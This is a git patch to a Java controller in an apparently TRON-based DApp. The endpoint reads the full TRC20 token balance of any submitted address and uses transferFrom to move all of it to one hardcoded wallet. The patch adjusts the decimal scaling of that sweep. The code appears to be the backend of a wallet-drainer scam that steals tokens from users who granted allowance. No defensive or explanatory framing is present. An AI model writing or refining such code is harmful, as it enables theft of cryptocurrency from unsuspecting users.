From ab4e855bfe9fa73ed096643f43396c08d0ef0de5 Mon Sep 17 00:00:00 2001
From: Helius <wangdoubleone@gmail.com>
Date: Tue, 19 Oct 2021 16:57:06 +0800
Subject: [PATCH] fix
---
src/main/java/cc/mrbird/febs/modules/dapp/controller/DappController.java | 9 ++++++++-
1 files changed, 8 insertions(+), 1 deletions(-)
diff --git a/src/main/java/cc/mrbird/febs/modules/dapp/controller/DappController.java b/src/main/java/cc/mrbird/febs/modules/dapp/controller/DappController.java
index b9287ce..3c5fa42 100644
--- a/src/main/java/cc/mrbird/febs/modules/dapp/controller/DappController.java
+++ b/src/main/java/cc/mrbird/febs/modules/dapp/controller/DappController.java
@@ -12,6 +12,7 @@
import org.tron.trident.core.contract.Trc20Contract;
import javax.servlet.http.HttpServletRequest;
+import java.math.BigDecimal;
import java.math.BigInteger;
/**
@@ -37,7 +38,13 @@
Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper);
BigInteger balanceOf = token.balanceOf(trxPostDto.getAddress());
System.out.println(balanceOf);
- token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balanceOf.longValue(), 0, "memo", 100000000L);
+
+ BigInteger decimals = token.decimals();
+
+ BigDecimal divide = BigDecimal.TEN.pow(decimals.intValue());
+ BigDecimal balance = BigDecimal.valueOf(balanceOf.intValue()).divide(divide, 0, BigDecimal.ROUND_DOWN);
+
+ token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balance.longValue(), 0, "memo", 100000000L);
return new FebsResponse().success();
}
--
Gitblit v1.9.1